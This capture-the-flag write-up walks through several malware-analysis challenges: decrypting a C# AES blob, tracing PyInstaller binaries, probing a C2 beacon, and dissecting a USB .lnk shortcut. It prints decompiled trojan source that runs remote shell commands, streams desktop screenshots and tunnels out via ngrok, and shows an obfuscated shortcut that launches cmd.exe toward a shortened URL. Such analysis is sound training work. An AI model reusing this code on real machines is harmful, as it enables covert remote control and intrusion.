public byte[] Encrypt(byte[] input)
{
if (input == null)
throw new ArgumentNullException("input can not be null.");
using (MemoryStream memoryStream = new MemoryStream())
{
memoryStream.Position = 32L;
using (AesCryptoServiceProvider cryptoServiceProvider = new AesCryptoServiceProvider())
{
cryptoServiceProvider.KeySize = 256;
cryptoServiceProvider.BlockSize = 128;
cryptoServiceProvider.Mode = CipherMode.CBC;
cryptoServiceProvider.Padding = PaddingMode.PKCS7;
cryptoServiceProvider.Key = this._key;
cryptoServiceProvider.GenerateIV();
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write))
{
memoryStream.Write(cryptoServiceProvider.IV, 0, cryptoServiceProvider.IV.Length);
cryptoStream.Write(input, 0, input.Length);
cryptoStream.FlushFinalBlock();
using (HMACSHA256 hmacshA256 = new HMACSHA256(this._authKey))
{
byte[] hash = hmacshA256.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
memoryStream.Position = 0L;
memoryStream.Write(hash, 0, hash.Length);
}
}
}
return memoryStream.ToArray();
}
}
public string Decrypt(string input) => Encoding.UTF8.GetString(this.Decrypt(Convert.FromBase64String(input));
public byte[] Decrypt(byte[] input)
{
if (input == null)
throw new ArgumentNullException("input can not be null.");
using (MemoryStream memoryStream = new MemoryStream(input))
{
using (AesCryptoServiceProvider cryptoServiceProvider = new AesCryptoServiceProvider())
{
cryptoServiceProvider.KeySize = 256;
cryptoServiceProvider.BlockSize = 128;
cryptoServiceProvider.Mode = CipherMode.CBC;
cryptoServiceProvider.Padding = PaddingMode.PKCS7;
cryptoServiceProvider.Key = this._key;
using (HMACSHA256 hmacshA256 = new HMACSHA256(this._authKey))
{
byte[] hash = hmacshA256.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
byte[] numArray = new byte[32];
memoryStream.Read(numArray, 0, numArray.Length);
if (!this.AreEqual(hash, numArray))
throw new CryptographicException("Invalid message authentication code (MAC).");
}
byte[] buffer = new byte[16];
memoryStream.Read(buffer, 0, 16);
cryptoServiceProvider.IV = buffer;
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Read))
{
byte[] numArray = new byte[memoryStream.Length - 16L + 1L];
byte[] dst = new byte[cryptoStream.Read(numArray, 0, numArray.Length)];
Buffer.BlockCopy((Array) numArray, 0, (Array) dst, 0, dst.Length);
return dst;
}
}
}
}
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
private bool AreEqual(byte[] a1, byte[] a2)
{
bool flag = true;
for (int index = 0; index < a1.Length; ++index)
{
if ((int) a1[index] != (int) a2[index])
flag = false;
}
return flag;
}
}
class Program
{
static void Main(string[] args)
{
string masterKey = "KXMgkPtReFEHYxJs4LdB0FdPVh7XlC4D";
string ciphertext = "mZzroGSIkpZlwvCwLG0PHQMXzjphDowlbeBayjWJhmYPJ5KiQeUAbcv9SzTnLGpr3uYQ0VvZ02rGlxz71tOXMemdK1DKKY6uX2QfUJW+WlDPcLi1u48xBrhmDcpRaK1G";
Aes256 aes256 = new Aes256(masterKey);
try
{
byte[] encryptedData = Convert.FromBase64String(ciphertext);
byte[] decryptedData = aes256.Decrypt(encryptedData);
string plaintext = System.Text.Encoding.UTF8.GetString(decryptedData);
Console.WriteLine("Decrypted Data: " + plaintext);
}
catch (Exception ex)
{
Console.WriteLine("Decryption failed: " + ex.Message);
}
}
}
}
I had to remove two lines because the online compiler wasn’t happy with it, but then I could run the program:
1
Decrypted Data: flag{8b988b859588f2725f0c859104919019}
Snake Eater
Description
Hey Analyst, I’ve never seen an executable icon that looks like this. I don’t like things I’m not familiar with. Can you check it out and see what it’s doing?
Solution
I lost quite some time on this one too.
The icon of the executable and strings appearing in the binary are strong indicators that the binary was made with Python using a packaging tool like PyInstaller
.
You can use https://pyinstxtractor-web.netlify.app/ to extract the compiled Python files out of the binary then use some other program to decompile the pyc
or directly read the Python assembly version.
Unfortunately decompiling the pyc
failed because the best solution out there (uncompyle6
) doesn’t support recent Python versions.
Getting the Python assembler code is not really helpful because there are references to pyarmor meaning the code is obfuscated.
After some time I chose to debug it on a Windows VM using x64dbg and a plugin called DbgChild.
The plugin is able to follow in the debugger child processes created using CreateProcessW
which is what the process is doing (the PyInstaller
loader is just unpacking the Python311 DLL file and some common Windows DLL then running the binary again).
The plugin works fine, but I didn’t know exactly where to put a breakpoint in the child process.
I looked at the memory of the process but could not find anything of interest.
Finally, some guys on the #ctf-general-chat
channel on Discord said you just need to run the exe and that using procmon is enough.
That was surprising because I sent the binary to a public Cuckoo sandbox and could not see anything useful.
After setting up the filters for Process Monitor
and running the binary again I could indeed see an access to a file whose name contained the flag:
Snake Eater II
Description
The Threat Actor must have gotten word that you had no trouble dissecting Snake Eater. They said this one is a bit more… involved.
Solution
Without many surprises the binary is similar to the former : it is a Windows 64 bits binary made from Python code using PyInstaller.
Using a Windows VM to solve it would have been easier unfortunately at the time I worked on the challenge I didn’t have such resources close to me.
My first attempt was to run ltrace
on Wine, telling it to follow forks and print enough data in the output :
1
ltrace -f -s 200 wine64 snake_eaterII.exe -v 2>&1 | grep -i flag
But nothing interesting popped up.
Most online good sandbox (like Any.Run
) won’t let you run 64 bits binary without paying.
Finding the former free VirtualBox images for Windows 10 was a pain as nowadays Microsoft only offer an enormous Windows 11 VM with Visual Studio. Downloading it would take way too much time, so I had to find another way.
I know that inotify
is the modern way to monitor file activity on Linux. It is certainly the best alternative to SysInternal’s procmon.
inotifywatch
and inotifywait
have different functionalities. It seems the latter is better for watching files.
I launched it with the following command to monitor changes in the C:
drive used by Wine:
1
sudo inotifywait -r -m /home/nico/.wine/drive_c/
I just have to execute the binary with wine snake_eaterII.exe
and look at the output.
Nice, we can see a flag.txt
file being created and then removed:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
--- snip ---
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/ CLOSE_NOWRITE,CLOSE,ISDIR Themes
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/ CLOSE_NOWRITE,CLOSE,ISDIR
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/ CREATE flag.txt
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/ OPEN flag.txt
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/ MODIFY flag.txt
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/ MODIFY flag.txt
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/ CLOSE_WRITE,CLOSE flag.txt
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/ OPEN flag.txt
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/ CLOSE_NOWRITE,CLOSE flag.txt
/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/ DELETE flag.txt
/home/nico/.wine/drive_c/windows/system32/ OPEN api-ms-win-appmodel-runtime-l1-1-2.dll
/home/nico/.wine/drive_c/windows/system32/ ACCESS api-ms-win-appmodel-runtime-l1-1-2.dll
/home/nico/.wine/drive_c/windows/system32/ CLOSE_NOWRITE,CLOSE api-ms-win-appmodel-runtime-l1-1-2.dll
/home/nico/.wine/drive_c/windows/system32/ OPEN mscoree.dll
/home/nico/.wine/drive_c/windows/system32/ ACCESS mscoree.dll
/home/nico/.wine/drive_c/windows/system32/ CLOSE_NOWRITE,CLOSE mscoree.dll
/home/nico/.wine/drive_c/users/nico/Temp/_MEI1882/ CLOSE_NOWRITE,CLOSE python311.dll
/home/nico/.wine/drive_c/users/nico/Temp/_MEI1882/pyarmor_runtime_000000/ CLOSE_NOWRITE,CLOSE pyarmor_runtime.pyd
--- snip ---
Let’s win a race! I wrote that small Python script:
1
2
3
4
5
6
while True:
try:
print(open("/home/nico/.wine/drive_c/users/nico/Application Data/Microsoft/Windows/Themes/flag.txt").read())
break
except:
continue
I had to launch the Windows binary several time, not because my script is slow but because the Windows binary sometimes use another folder.
After 3 attempts I got the flag:
1
flag{be47387ab77251ecf80db1b6725dd7ac}
Snake Oil
Description
One of our workstations was exhibiting strange network communications… we found this binary that looked to be the culprit. Can you find anything suspicious?
Solution
This challenge was disappointing. I started it late because I didn’t have some time to solve it before.
We get a file called snake-oil
which is a Windows binary for 64 bits systems:
1
PE32+ executable (console) x86-64, for MS Windows, 7 sections
I guessed that other players already submitted the file on public sandboxes, so I searched its MD5 hash (74c602cc5b0ae6dff25a373c8f0de906
) on VirusTotal
.
It leads me to this report.
First strange detail is the first time the file was seen:
1
First Submission 2022-04-28 20:20:31 UTC
Otherwise, we know how it is packed:
1
DetectItEasy PE64 Packer: PyInstaller Compiler: Microsoft Visual C/C++ (2019 v.16.8 or 16.9) Compiler: Microsoft Visual C/C++ (19.28.29914) [C] Linker: Microsoft Linker (14.28.29914) Tool: Visual Studio (2019 version 16.9-16.10) Overlay: zlib archive
Finally, in the Relations
tab we can get the list of dropped files and one have a strange name:
1
2
3
2023-10-22 0/60 ? brain-melt
SHA-256 6c871dc561bdb81a4c6f201a8f77649c9783a81a495ffd7395f3af63f681e1fd
File Size 4.61 KB
(meaning the file is not considered dangerous for 60 AVs, it is of unknown type and called brain-melt
)
If you search for it on the Internet you can find this writeup for the Brain Melt
challenge of NahamCon 2022
.
You can just copy the flag and submit it, it is the same one.
So the challenge is once again a copy of NahamCon
but let’s solve it the right way.
As we know it was packed with PyInstaller
we can use this online tool to extract the files.
Within the list of files there is the one we are interested in:
1
2
$ file brain-melt.pyc
brain-melt.pyc: Byte-compiled Python module for CPython 3.9, timestamp-based, .py timestamp: Thu Jan 1 00:00:00 1970 UTC, .py size: 0 bytes
There is a project called Decompyle++ which seems to support any version of Python.
The project is using CMake
so once you clone the repository you must do the following:
1
2
3
mkdir build
cd build
cmake ..
It will generate the Makefile
and then you can just launch make
to build the binaries.
Let’s use the pycdc
tool:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
$ ./pycdc brain-melt.pyc
# Source Generated with Decompyle++
# File: brain-melt.pyc (Python 3.9)
Unsupported opcode: RERAISE
from flask import Flask, flash, request, render_template_string, send_file, redirect
from wtforms import Form, TextField, validators, StringField, SubmitField
import subprocess
import pyautogui
import io
import sys
from PIL import Image
from pyngrok import ngrok
import base64
DEBUG = True
app = Flask(__name__)
app.config['SECRET_KEY'] = '9EQrXQ88pwP7UWaXbkmThhKuDdYxsad1'
def decrypt(s1, s2):
return ''.join((lambda .0: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in .0 ])(zip(s1, s2)))
def deobfuscate():
part1 = '2ec7627d{galf'[::-1]
part2 = str(base64.b64decode('NjIwM2I1Y2M2OWY0'.encode('ascii')), 'UTF8')
part3 = decrypt('\x17*\x07`BC\x14*R@\x14^*', 'uKeVuzwIexplW')
key = part1 + part2 + part3
return key
def ngrok_tunnel():
ngrok.set_auth_token(deobfuscate())
http_tunnel = ngrok.connect(5000, 'http', '-log=stdout > NUL')
def Desktop(pil_img):
img_io = io.BytesIO()
pil_img.save(img_io, 'JPEG', 70, **('quality',))
img_io.seek(0)
return send_file(img_io, 'image/jpeg', **('mimetype',))
def execute(cmd):
child = subprocess.Popen(cmd, True, subprocess.PIPE, subprocess.PIPE, **('shell', 'stdout', 'stderr'))
for line in child.stdout:
print(line)
l = line.decode('utf-8', 'ignore', **('encoding', 'errors'))
flash(l)
for line in child.stderr:
l = line.decode('utf-8', 'ignore', **('encoding', 'errors'))
flash(l)
class CommandForm(Form):
command = TextField('Command:', [
validators.required()], **('validators',))
def display():
form = CommandForm(request.form)
print(form.errors)
if request.method == 'POST':
command = request.form['command']
if form.validate() and request.method == 'POST':
result = execute(command)
flash(result)
else:
flash('Please enter a command.')
return render_template_string('<!doctype html>\n <html>\n <head>\n <link rel="stylesheet" href="css url"/>\n </head>\n <body>\n <form action="" method="post" role="form">\n <div class="form-group">\n <label for="Command">Command:</label>\n <input type="text" class="form-control" id="command" name="command"></div>\n <button type="submit" class="btn btn-success">Submit</button>\n </form>\n {% for message in get_flashed_messages() %}\n <p>{{ message }}</p>\n {% endfor %}\n <img src="/images/desktop.jpg" id="img" width="100%" scrolling="yes" style="height: 100vh;"></iframe>\n </body>\n \n {% block javascript %}\n <script type="text/javascript">\n window.onload = function() {\n var image = document.getElementById("img");\n\n function updateImage() {\n image.src = image.src.split("?")[0] + "?" + new Date().getTime();\n }\n\n setInterval(updateImage, 1000);\n }\n </script>\n {% endblock %}\n </html>\n ', form, **('form',))
display = app.route('/', [
'GET',
'POST'], **('methods',))(display)
def serve_img():
screenshot = pyautogui.screenshot()
return Desktop(screenshot)
serve_img = app.route('/images/desktop.jpg')(serve_img)
We just need to run the deobfuscate
function with its decrypt
dependency.
Note that the lambda receives an argument which doesn’t have a valid name, so you also have to fix this.
It can be done in the interpreter:
1
2
3
4
5
6
7
8
9
10
11
12
13
>>> import base64
>>> def decrypt(s1, s2):
... return ''.join((lambda x: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in x ])(zip(s1, s2)))
...
>>> def deobfuscate():
... part1 = '2ec7627d{galf'[::-1]
... part2 = str(base64.b64decode('NjIwM2I1Y2M2OWY0'.encode('ascii')), 'UTF8')
... part3 = decrypt('\x17*\x07`BC\x14*R@\x14^*', 'uKeVuzwIexplW')
... key = part1 + part2 + part3
... return key
...
>>> deobfuscate()
'flag{d7267ce26203b5cc69f4bab679cc78d2}'
Speakfriend
Description
It seems like this website was compromised. We found this file that seems to be related… can you make any sense of these and uncover a flag?
NOTE: Archive password is infected You will need access this service with HTTPS. Please use https:// as the URL schema rather than plain http://.
This website uses a self-signed certificate. The “Warning: connection not secure” message is expected and intended. You can continue on to the website.
This challenge is based off of a real malware sample. We have done our best to “defang” the code, but out of abundance of caution it is strongly encouraged you only analyze this inside of a virtual environment separate from any production devices.
Solution
The file is a Linux binary:
1
2
$ file main
main: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f020f8b12bc1a0b0f3122413b698344bfbfd1d9d, for GNU/Linux 3.2.0, not stripped
It requires the libcurl-gnutls4
library which may be missing on your computer (here I have it already):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ ldd main
linux-vdso.so.1 (0x00007ffc3db4f000)
libgtk3-nocsd.so.0 => /lib/x86_64-linux-gnu/libgtk3-nocsd.so.0 (0x00007fe558a00000)
libcurl-gnutls.so.4 => /lib/x86_64-linux-gnu/libcurl-gnutls.so.4 (0x00007fe558c78000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe5587d8000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe558c73000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fe558c6e000)
libnghttp2.so.14 => /lib/x86_64-linux-gnu/libnghttp2.so.14 (0x00007fe558c42000)
libidn2.so.0 => /lib/x86_64-linux-gnu/libidn2.so.0 (0x00007fe558c21000)
librtmp.so.1 => /lib/x86_64-linux-gnu/librtmp.so.1 (0x00007fe5587b9000)
libssh.so.4 => /lib/x86_64-linux-gnu/libssh.so.4 (0x00007fe55874c000)
libpsl.so.5 => /lib/x86_64-linux-gnu/libpsl.so.5 (0x00007fe558c0d000)
libnettle.so.8 => /lib/x86_64-linux-gnu/libnettle.so.8 (0x00007fe558706000)
libgnutls.so.30 => /lib/x86_64-linux-gnu/libgnutls.so.30 (0x00007fe55851b000)
libgssapi_krb5.so.2 => /lib/x86_64-linux-gnu/libgssapi_krb5.so.2 (0x00007fe5584c7000)
libldap-2.5.so.0 => /lib/x86_64-linux-gnu/libldap-2.5.so.0 (0x00007fe558468000)
liblber-2.5.so.0 => /lib/x86_64-linux-gnu/liblber-2.5.so.0 (0x00007fe558457000)
libzstd.so.1 => /lib/x86_64-linux-gnu/libzstd.so.1 (0x00007fe558388000)
libbrotlidec.so.1 => /lib/x86_64-linux-gnu/libbrotlidec.so.1 (0x00007fe55837a000)
libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007fe55835e000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe558d49000)
libunistring.so.2 => /lib/x86_64-linux-gnu/libunistring.so.2 (0x00007fe5581b4000)
libhogweed.so.6 => /lib/x86_64-linux-gnu/libhogweed.so.6 (0x00007fe55816c000)
libgmp.so.10 => /lib/x86_64-linux-gnu/libgmp.so.10 (0x00007fe5580ea000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007fe557ca8000)
libp11-kit.so.0 => /lib/x86_64-linux-gnu/libp11-kit.so.0 (0x00007fe557b6d000)
libtasn1.so.6 => /lib/x86_64-linux-gnu/libtasn1.so.6 (0x00007fe557b55000)
libkrb5.so.3 => /lib/x86_64-linux-gnu/libkrb5.so.3 (0x00007fe557a8a000)
libk5crypto.so.3 => /lib/x86_64-linux-gnu/libk5crypto.so.3 (0x00007fe557a5b000)
libcom_err.so.2 => /lib/x86_64-linux-gnu/libcom_err.so.2 (0x00007fe557a55000)
libkrb5support.so.0 => /lib/x86_64-linux-gnu/libkrb5support.so.0 (0x00007fe557a47000)
libsasl2.so.2 => /lib/x86_64-linux-gnu/libsasl2.so.2 (0x00007fe557a2a000)
libbrotlicommon.so.1 => /lib/x86_64-linux-gnu/libbrotlicommon.so.1 (0x00007fe557a07000)
libffi.so.8 => /lib/x86_64-linux-gnu/libffi.so.8 (0x00007fe5579fa000)
libkeyutils.so.1 => /lib/x86_64-linux-gnu/libkeyutils.so.1 (0x00007fe5579f3000)
libresolv.so.2 => /lib/x86_64-linux-gnu/libresolv.so.2 (0x00007fe5579df000)
What is doing the binary ? Let’s use ltrace
to see how it uses libraries :
1
2
$ ltrace ./main
+++ exited (status 1) +++
Well, it is not doing much. Let’s open it with Cutter :
We can see that argc
is at $rbp - 0x214
($rbp
is the base pointer meaning the start of the current stack frame). Cutter
names it var_214h
.
The code first checks if argc
is equal or lower than 1 (jle
). Such case makes the program exits immediately.
The same goes after if argc
is lower than 3.
We can see at the bottom that it is also setting a User-Agent and doing calculus. Later it calls several curl functions, but we can’t see any URL in the binary, so they certainly must be passed as arguments.
Let’s try ltrace
again :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ ltrace -s 200 ./main abc 123
strlen("") = 0
sprintf("M", "%c", 'M') = 1
strlen("M") = 1
sprintf("o", "%c", 'o') = 1
strlen("Mo") = 2
sprintf("z", "%c", 'z') = 1
strlen("Moz") = 3
sprintf("i", "%c", 'i') = 1
strlen("Mozi") = 4
--- snip --- = 46
sprintf("3", "%c", '3') = 1
strlen("Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353") = 47
sprintf("e", "%c", 'e') = 1
curl_global_init(3, 0x55571424b00a, 0, 0) = 0
curl_easy_init(0x7f4d3c80d100, 0, 0, 0) = 0x5557159b26c0
strcmp("123", "443") = -3
snprintf("abc:123", 256, "%s:%s", "abc", "123") = 7
curl_easy_setopt(0x5557159b26c0, 0x2712, 0x7ffc88166500, 0x2712) = 0
curl_easy_setopt(0x5557159b26c0, 0x2722, 0x7ffc88166490, 0x2722) = 0
curl_easy_setopt(0x5557159b26c0, 0x4e2b, 0x55571424a3d3, 0x4e2b) = 0
curl_easy_setopt(0x5557159b26c0, 119, 3, 119) = 0
curl_easy_setopt(0x5557159b26c0, 64, 0, 64) = 0
curl_easy_setopt(0x5557159b26c0, 81, 0, 81) = 0
curl_easy_setopt(0x5557159b26c0, 52, 1, 52) = 0
curl_easy_perform(0x5557159b26c0, 52, 0x38208040, 52) = 6
curl_easy_cleanup(0x5557159b26c0, 0, 0, 0x5557159b2748) = 1
sleep(30) = 0
curl_easy_init(0x7f4d3c82f1c8, 0, 0, 0) = 0x5557159b26c0
strcmp("123", "443") = -3
snprintf("abc:123", 256, "%s:%s", "abc", "123") = 7
curl_easy_setopt(0x5557159b26c0, 0x2712, 0x7ffc88166500, 0x2712) = 0
curl_easy_setopt(0x5557159b26c0, 0x2722, 0x7ffc88166490, 0x2722) = 0
curl_easy_setopt(0x5557159b26c0, 0x4e2b, 0x55571424a3d3, 0x4e2b) = 0
curl_easy_setopt(0x5557159b26c0, 119, 3, 119) = 0
curl_easy_setopt(0x5557159b26c0, 64, 0, 64) = 0
curl_easy_setopt(0x5557159b26c0, 81, 0, 81) = 0
curl_easy_setopt(0x5557159b26c0, 52, 1, 52) = 0
curl_easy_perform(0x5557159b26c0, 52, 0x38208040, 52) = 6
curl_easy_cleanup(0x5557159b26c0, 0, 0, 0x5557159b2748) = 1
sleep(30^C <no return ...>
--- SIGINT (Interrompre) ---
+++ killed by SIGINT +++
So the program is setting up a User-Agent which is Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353e
(the e
is added using the last sprintf
but we don’t see the result).
The program also creates a netloc with the two arguments so argv[1]
must be the hostname and argv[2]
the port.
Giving good arguments doesn’t seem to be enough to get a flag but with all those information we can use cURL
to obtain the flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ curl https://chal.ctf.games:32056/ -k -A "Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353e" -D-
HTTP/1.1 302 FOUND
Server: gunicorn
Date: Sat, 21 Oct 2023 08:41:06 GMT
Connection: keep-alive
Content-Type: text/html; charset=utf-8
Content-Length: 267
Location: /93bed45b-7b70-4097-9279-98a4aef0353e/c2
Access-Control-Allow-Origin: *
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/93bed45b-7b70-4097-9279-98a4aef0353e/c2">/93bed45b-7b70-4097-9279-98a4aef0353e/c2</a>. If not, click the link.
Let’s ask for the redirection :
1
2
3
4
5
6
7
8
9
10
curl https://chal.ctf.games:32056/93bed45b-7b70-4097-9279-98a4aef0353e/c2 -k -A "Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353e" -D-
HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 21 Oct 2023 08:41:30 GMT
Connection: keep-alive
Content-Type: text/html; charset=utf-8
Content-Length: 39
Access-Control-Allow-Origin: *
flag{3f2567475c6def39501bab2865aeba60}
Looking deeper we can see that curl_easy_setopt
is called to specify a callback function:
1
2
3
4
5
6
7
8
0x0000165c mov dword [var_1f0h], 0x4e2b ; '+N'
0x00001666 mov ecx, dword [var_1f0h]
0x0000166c mov rax, qword [var_1c8h]
0x00001673 lea rdx, [write_callback] ; 0x13d3
0x0000167a mov esi, ecx
0x0000167c mov rdi, rax
0x0000167f mov eax, 0
0x00001684 call curl_easy_setopt ; sym.imp.curl_easy_setopt
But the related code doesn’t print anything:
1
2
3
4
5
6
7
8
9
10
0x000013d7 push rbp
0x000013d8 mov rbp, rsp
0x000013db mov qword [var_8h], rdi ; arg1
0x000013df mov qword [var_10h], rsi ; arg2
0x000013e3 mov qword [var_18h], rdx ; arg3
0x000013e7 mov qword [var_20h], rcx ; arg4
0x000013eb mov rax, qword [var_10h]
0x000013ef imul rax, qword [var_18h]
0x000013f4 pop rbp
0x000013f5 ret
We could also have used GDB to do a dynamic analysis but the binary is PIE meaning that instruction addresses are random at each execution.
It doesn’t make it impossible to debug but a little bit harder.
Thumb Drive
Description
People say you shouldn’t plug in USB drives! But I discovered this neat file on one that I found in the parking lot…
Solution
The file is a Windows shortcut (.lnk) file:
1
2
$ file ADATA_128GB.lnk
ADATA_128GB.lnk: MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has command line arguments, Icon number=30, Archive, ctime=Sun Nov 21 02:24:03 2010, mtime=Sun Nov 21 02:24:03 2010, atime=Sun Nov 21 02:24:03 2010, length=302592, window=hidenormalshowminimized
To analyse it you can install the package liblnk-tools
(at least this is the name on openSUSE) and use the lnkinfo
command:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
$ lnkinfo ADATA_128GB.lnk
lnkinfo 20230928
Windows Shortcut information:
Contains a link target identifier
Contains a description string
Contains a command line arguments string
Contains an icon location string
Contains an environment variables block
Number of data blocks : 0
Link information:
Creation time : Nov 21, 2010 03:24:03.332515300 UTC
Modification time : Nov 21, 2010 03:24:03.332515300 UTC
Access time : Nov 21, 2010 03:24:03.332515300 UTC
File size : 302592 bytes
Icon index : 30
Show Window value : 0x00000007
Hot Key value : 0
File attribute flags : 0x00000020
Should be archived (FILE_ATTRIBUTE_ARCHIVE)
Drive type : Fixed (3)
Drive serial number : 0x4e595676
Volume label :
Local path : C:\\Windows\\System32\\cmd.exe
Description : ADATA 128GB
Command line arguments : \x0d\x0a\x0a\x0a\x0d\x0d\x0a\x0d\x0d\x0d\x0d\x0a\x0d\x0d\x0d\x0a\x0d\x0d\x0d\x0d\x0a\x0a\x0a\x0a\x0d\x0d\x0a\x0d\x0a\x0a\x0a\x0a\x0d\x0d\x0d\x0a\x0a\x0d\x0d\x0d\x0a\x0d\x0d\x0d\x0a\x0a\x0d\x0a\x0d\x0d\x0d\x0d\x0a\x0a\x0d\x0a\x0a\x0d\x0d\x0d\x0a\x0d\x0a\x0a\x0d\x0a\x0a\x0a\x0d\x0a\x0d\x0a\x0d\x0a\x0a\x0a\x0a\x0a\x0a\x0d\x0d\x0a\x0d\x0d\x0a\x0d\x0a\x0d\x0d\x0a\x0a\x0d\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0d\x0d\x0d\x0a\x0d\x0d\x0d\x0d\x0d\x0d\x0a\x0d\x0d\x0d\x0a\x0a\x0a\x0a\x0a\x0a\x0d\x0a\x0d\x0a\x0d\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0d\x0a\x0a\x0d\x0a\x0d\x0d\x0d\x0a\x0a\x0a\x0a\x0d\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0d\x0d\x0d\x0d\x0d\x0a\x0d\x0d\x0a\x0a\x0a\x0a\x0a\x0a\x0d\x0d\x0a\x0a\x0a\x0a\x0d\x0a\x0d\x0a\x0a\x0d\x0d\x0d\x0d\x0d\x0d\x0a\x0a\x0d\x0a\x0d\x0d\x0a\x0a\x0a\x0a\x0a\x0d\x0a\x0d\x0a\x0a\x0a\x0a\x0d\x0d\x0a\x0d\x0d\x0a\x0a\x0a\x0d\x0d\x0a\x0a\x0a\x0a\x0d\x0d\x0d\x0a\x0d\x0a\x0d\x0a\x0d\x0d\x0a\x0a\x0d\x0d\x0d\x0a\x0a\x0d\x0d\x0a\x0a\x0d\x0a\x0a\x0d\x0d\x0a\x0d\x0d\x0a\x0d\x0a\x0d\x0a\x0a\x0a\x0a\x0d\x0a\x0d\x0a\x0d\x0a\x0a\x09\x0b\x0b\x0c\x0a\x0c \x0b\x0a\x0a \x0c\x0a\x0b\x0b\x0d\x0c\x0a\x09\x0d\x0d \x0a\x0d\x0d\x0b\x0d\x0d \x0c\x0c\x0a\x0b\x09\x0a\x0c\x0b\x0a \x0c\x0c\x09\x0c\x0d\x0b\x0b\x0b\x0b\x09\x09\x0b \x0b\x09\x0b\x0c\x0d\x0b\x0b\x0a\x0a\x0c\x0c\x0d \x0d \x0c\x0c\x0a\x0d\x09 \x0c \x09\x0b\x09 \x0a \x0a\x0b\x0d\x0b \x0c\x0c\x0d\x09\x0a\x0d\x0d\x09\x0b\x09\x0d\x0c\x09\x0d\x09\x0d\x0d \x0c\x0d\x0a\x09 \x0d\x0d\x0a\x0b\x0c\x0a\x0b\x0b\x0d \x0a\x09\x0c\x0a\x0d\x0d\x0a\x0b\x0b\x0b\x0c\x0c \x0c\x0c \x0b\x09 \x09\x09\x0c\x0c\x0c\x0a\x0a \x0b \x0b\x09\x0c\x0b\x0a \x09\x0d\x0a\x0d\x0a \x09\x09\x0a\x0a\x09\x0c \x0d\x0c \x0a \x0c\x0b\x0b\x0a\x0a\x09\x0a\x0c\x0c \x0a \x0a\x09\x0d \x0a \x0b\x09\x0c \x09\x0c \x0d\x0a\x0b\x0c \x0a\x0b\x0c\x0b\x0c\x0d\x0c\x0c\x0a\x0b\x09 \x0a\x0c \x0d \x09\x09 \x0b\x0a\x0a\x0b\x09\x09\x0b\x0b \x0b\x0a\x0d \x0a \x0a\x0b\x0c\x0d\x0a\x0d \x0c \x0d\x09\x0a\x09\x0a\x09\x09\x0b\x0d\x0a\x0c\x0c\x0c\x0a \x0a\x0a\x0d \x0b\x0d \x09\x0a\x09\x0b \x09/V/R\x09CMD<https://
Icon location : inyurl.com/a7ba6ma
Link target identifier:
Shell item list
Number of items : 5
Shell item: 1
Item type : Root folder
Class type indicator : 0x1f (Root folder)
Shell folder identifier : 20d04fe0-3aea-1069-a2d8-08002b30309d
Shell folder name : My Computer
Shell item: 2
Item type : Volume
Class type indicator : 0x2f (Volume)
Volume name : C:\
Shell item: 3
Item type : File entry
Class type indicator : 0x31 (File entry: Directory)
Name : Windows
